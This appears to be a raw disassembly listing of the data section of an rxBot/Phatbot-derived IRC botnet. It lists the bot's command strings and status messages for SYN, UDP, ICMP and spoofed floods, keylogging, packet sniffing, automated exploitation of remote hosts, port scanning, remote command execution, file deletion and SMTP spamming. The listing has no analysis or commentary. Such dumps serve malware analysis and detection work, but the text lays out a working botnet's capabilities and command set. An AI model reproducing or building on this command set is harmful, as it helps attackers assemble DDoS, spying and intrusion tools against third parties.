unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
align 10h
unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o
unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo
align 4
aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co
unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o
align 4
aP: ; DATA XREF: sub_401ACD+5059o
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o
align 10h
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o
align 10h
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo
aU: ; DATA XREF: sub_401ACD+4FE6o
; ___:00437F88o
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co
align 4
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo
align 4
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo
align 4
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o
align 4
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o
align 4
aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo
align 4
aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o
align 4
dword_42AB08 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42AB44 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao
align 4
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o
; sub_401ACD+52BDo
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co
align 4
unk_42AB8C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 4
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o
; sub_412B08:loc_412C34o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo
; sub_412B08:loc_412C18o
align 10h
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o
; sub_412B08+F1o
align 4
aC: ; DATA XREF: sub_401ACD+4BCCo
; ___:00437C40o ...
unicode 0, <c>,0
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o
align 4
aE: ; DATA XREF: sub_401ACD+4B02o
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo
aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o
align 4
aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo
align 4
aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o
align 4
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo
align 4
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o
; sub_401ACD+6BE7o
align 10h
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o
aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co
align 10h
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o
align 10h
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo
align 4
aM: ; DATA XREF: sub_401ACD+4908o
; ___:00437C50o
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo
align 4
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o
align 4
aA: ; DATA XREF: sub_401ACD+48ACo
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o
align 10h
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o
align 4
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo
aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo
aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o
aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o
unk_42AD1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42AD38 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo
; sub_409B12+5F0o
align 4
unk_42AD64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o
align 4
unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42ADCC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o
align 4
aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o
align 4
unk_42AE14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o
align 10h
unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o
dword_42AE9C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o
aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 4
dword_42AED8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o
aKeyLoggerActiv db '- Key logger active.',0
align 4
dword_42AEFC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o
aAlreadyRunning db '- Already running.',0
align 4
dword_42AF1C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr db '- No key logger thread found.',0
align 4
dword_42AF48 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o
align 4
dword_42AF94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o
aNoThreadFound_ db '- No thread found.',0
align 4
dword_42AFB4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42AFEC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o
aFailedToSta_16 db '- Failed to start server, error: <%d>.',0
align 10h
dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B04C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o
aAlreadyRunni_0 db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o
align 4
unk_42B074 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B120 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 10h
unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_1 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo
dword_42B178 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B1A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B1E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao
aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B21C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o
aAlreadyRunni_2 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o
; sub_401ACD+41C6o ...
align 10h
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do
align 4
aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo
aV: ; DATA XREF: sub_401ACD+3FCAo
; ___:00437C44o ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o
align 4
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o
align 10h
aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo
align 4
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o
align 4
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o
; sub_401ACD+4644o
align 4
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o
align 4
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo
align 4
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o
align 10h
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo
align 4
aO: ; DATA XREF: sub_401ACD+3E7Ao
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o
; sub_401ACD+590Bo ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo
align 10h
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o
align 10h
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo
align 4
aJ: ; DATA XREF: sub_401ACD+3D54o
; ___:00437C2Co
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D2Ao
; ___:00437C4Co
unicode 0, <n>,0
unk_42B34C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o
align 4
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o
dword_42B3AC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AEFo
; sub_401ACD+3B26o
dd 0
dword_42B3C4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3AB8o
dd 1
dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A81o
; sub_401ACD+3B98o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o
; sub_401ACD+39D3o ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do
align 10h
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o
; sub_401ACD+3D15o
align 4
dword_42B424 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+36E8o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B44C dd 636364h ; DATA XREF: sub_401ACD+366Bo
dword_42B450 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B45C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o
; sub_401ACD+3762o ...
dword_42B464 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o
; sub_40ACB5+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o
; sub_401ACD+3578o ...
align 10h
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o
; sub_401ACD+3D69o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o
; sub_401ACD+354Co ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o
; sub_401ACD+3D3Fo
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o
align 4
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o
; sub_401ACD+48F1o
align 10h
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao
align 10h
aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo
align 4
dword_42B4D4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32EEo
dword_42B4E8 dd 7463h ; DATA XREF: sub_401ACD+329Fo
dword_42B4EC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
; sub_401ACD+38A8o ...
dword_42B4FC dd 5Fh ; DATA XREF: sub_401ACD+3253o
; sub_401ACD+32BFo ...
dword_42B500 dd 6D70h ; DATA XREF: sub_401ACD+3233o
; sub_401ACD+487Eo
unk_42B504 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 10h
aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo
align 4
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o
align 10h
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo
align 4
unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42B5AC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o
unk_42B5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 10h
unk_42B610 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo
align 10h
unk_42B650 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o
; sub_401ACD+3F61o
unk_42B68C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_42B6B8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
dword_42B6E4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do
unk_42B6F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 4
dword_42B7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo
aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0
align 10h
dword_42B7E0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2DD1o
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o
align 4
unk_42B814 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 10h
dword_42B880 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o
aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42B8BC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42B8E4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o
dword_42B8F4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B900 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B910 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o
dword_42B920 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401ACD+2A95o
dd 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
; sub_401ACD:loc_409778o ...
align 4
dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401ACD+2A73o
dd 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
; sub_401ACD+7A7Eo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
align 4
unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 10h
dword_42B9D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_401ACD+29D8o
dd 2E7325h
unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0
align 4
